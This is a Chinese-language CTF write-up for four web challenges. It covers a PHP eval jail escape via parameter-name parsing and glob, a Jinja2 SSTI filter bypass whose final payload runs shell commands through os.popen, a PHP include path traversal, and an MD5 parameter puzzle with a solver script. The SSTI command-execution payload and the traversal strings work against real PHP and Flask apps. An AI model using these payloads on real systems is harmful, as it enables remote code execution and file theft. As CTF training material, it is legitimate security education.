Week3
官方WP
https://j0zr0js7k7j.feishu.cn/wiki/XN3BwnHrZihQ3ZkhEyocb5EJnUd
ez_php_jail
题目描述
DT最怕坐牢了...但是包吃包住啊!
考点
-
php解析特性
-
php过滤绕过
题解
题面
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");
function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
?>
审计发现包含hint.html,尝试读取
hint在./cGgwX2luZm9fTGlrZV9qYWlsLnBocA==
,base64解码为ph0_info_Like_jail.php
,尝试访问,发现返回的是
得到php版本为7.4.27,且大部分命令执行函数都被禁止了
尝试传参Jail_by.Happy=1
,但提示Do You Like My Jail?
,这是因为php在解析时会把.
替换为_
,而在小于8的php版本中,[
会被转化为_
,其之后的.
不会再被转化,因此需要传Jail[by.Happy=1
,这样就不会提示Do You Like My Jail?
了
命令执行函数被禁了,文件包含函数也被禁了,但还可以使用highlight_file()
来读取文件,但又因为a
被禁了,因此需要用到通配符,猜测flag在根目录下,结合目录变量漏洞,构造Jail[by.Happy=highlight_file(glob("../../../../fl*g")[0]);
glob() 函数返回匹配指定模式的文件名或目录,该函数返回一个包含有匹配文件 / 目录的数组。
复读机
题目描述
一位复读机发明了一个复读机来复读flag
考点
- SSTI模板注入
题解
简单fuzz测试一下,发现过滤了'class', 'base', 'mro', 'init', 'global', 'builtin', 'config', 'request', 'lipsum', 'cycler', 'url_for', 'os', 'pop', 'format', 'replace', 'reverse','{{', '}}', '__', '.', '*', '+', '-', '/', '"', ':', '\'
,并且需要是BaseCTF
开头
{{
和}}
被过滤了,使用{%
和%}
代替,但由于{%%}
没有输入,因此需要搭配print()
使用,即{%print(''.__class__)%}
获取类对象,.
过滤了可以使用[]
代替,class
代替可以用拼接绕过,修改payload为{%print(''['_'+'_cla'+'ss_'+'_'])%}
以下先不进行绕过操作,使用原始payload
-
获取字符串的类对象
{%print(''.__class__)%}
-
寻找基类
{%print(''.__class__.__mro__)%}
-
寻找可用引用
{%print(''.__class__.__mro__[0].__subclasses__())%}
{%print(''.__class__.__mro__[1].__subclasses__())%}
在
{%print(''.__class__.__mro__[0].__subclasses__()[104])%}
找到_frozen_importlib_Builtinlmporter
模块payload为
{%print(''.__class__.__base__.__subclasses__()[104]['load_module']('os')['popen']('cat /flag').read())%}
由于/
和.
被过滤,使得难以访问到根目录,linux中有一个dirname命令可以获取到父目录名称,通过与pwd组合,便可获得指向上一级目录,即$(dirname $(pwd))
,因此,执行命令为cd $(dirname $(pwd));cat flag
综上,原始payload为{%print(''.__class__.__base__.__subclasses__()[104]['load_module']('os')['popen']('cd $(dirname $(pwd));cat flag').read())%}
绕过过滤的最终payload为
flag=BaseCTF{%print(''['_'+'_cla'+'ss_'+'_']['_'+'_m'+'ro'+'_'+'_'][1]['_'+'_subc'+'lasses_'+'_']()"[104]['load_module']('o'+'s')['po'+'pen']('cd $(dirname $(pwd));cat flag')['read']())%}
滤个不停
题目描述
过滤这么多还怎么玩!等等....不对劲
考点
-
文件包含
-
目录遍历
题解
题面
<?php
highlight_file(__FILE__);
error_reporting(0);
$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}
//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;
foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}
include($Datch);
} else {
die('文件名不合规 请重试');
}
?>
存在include()
函数,显然是文件包含漏洞,但是过滤了伪协议
先POST传入incompetent=HelloWorld
绕过第一次判断
foreach循环要求$Datch
前几位和$required_chars
一样,传入Datch=sevanxro
即可
结合目录遍历漏洞,使得include包含sevanxro/../../../../../flag
综合下来,POST传入incompetent=HelloWorld&Datch=sevanxro/../../../../../flag
玩原神玩的
题目描述
flag怎么被分解成$array了,不管了,原神,启动!
考点
- 参数传递
- python脚本
- 简单逆向
题解
题面
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}
-
第一步要求
sizeof($_POST['len']) == sizeof($array)
,$array
的值不知道,结合include 'flag.php';
,推测是flag,flag的长度我们并不知道,所以需要写脚本进行测试,需要注意的是,如果传入len[0]=1&len[1]=1
,则sizeof($_POST['len'])==2
,同理传入len[0]=1&len[1]=1&len[2]=1
,则sizeof($_POST['len'])==3
,最终测试得到sizeof($array)==45
-
第二步传入
tip=我要玩原神
即可,可能需要url编码一下 -
第三步传入
m[0]=1&m[1]=1
-
第四步修改
m[0]=100%
,求出md5("100%")==30bd7ce7de206924302499f197c7a966
,修改m[1]=love100%30bd7ce7de206924302499f197c7a966
然后会得到45个flag的字符的ascii值异或上它的下标的md5值
编写脚本先把md5转化回flag的字符的ascii值异或上它的下标的值
再将得到的值异或它的对应下标后再转字符即可
以下完整脚本
import requests
import json
def get_md5():
url = "http://challenge.basectf.fun:23409/?tip=我要玩原神"
post_data = {}
for i in range(45): # sizeof($array)==45
post_data[f"len[{str(i)}]"] = str(i)
post_data["m[0]"] = "100%"
post_data["m[1]"] = "love100%30bd7ce7de206924302499f197c7a966"
response = requests.post(url, data=post_data).text[5913::]
datas = json.loads(response)
with open("md5.txt", "w") as fp:
for data in datas:
fp.write(data+"\n")
return datas
def get_flag(datas): # MD5列表转flag
md5_flag = []
flag = ""
with open("md5_table.json", "r") as fp:
md5_table = json.load(fp)
for data in datas:
md5_flag.append(md5_table[data])
print(md5_flag)
for index, ch in enumerate(md5_flag):
ch = chr(int(ch) ^ index)
flag += ch
return flag
print(get_flag(get_md5()))
生成md5_table.json(md5彩虹表)
import hashlib
import json
md5_list = []
md5_table = {}
for i in range(1000): # 1到1000的数字
md5_list.append(str(i))
for i in range(32, 126): # 特殊字符及字母
md5_list.append(chr(i))
print(md5_list)
for i in md5_list:
md5 = hashlib.md5()
md5.update(i.encode("utf-8"))
print(md5.hexdigest())
md5_table[md5.hexdigest()] = i # 形如{"md5值":"原字符"}的字典
with open("md5_table.json", "w") as fp:
json.dump(md5_table, fp)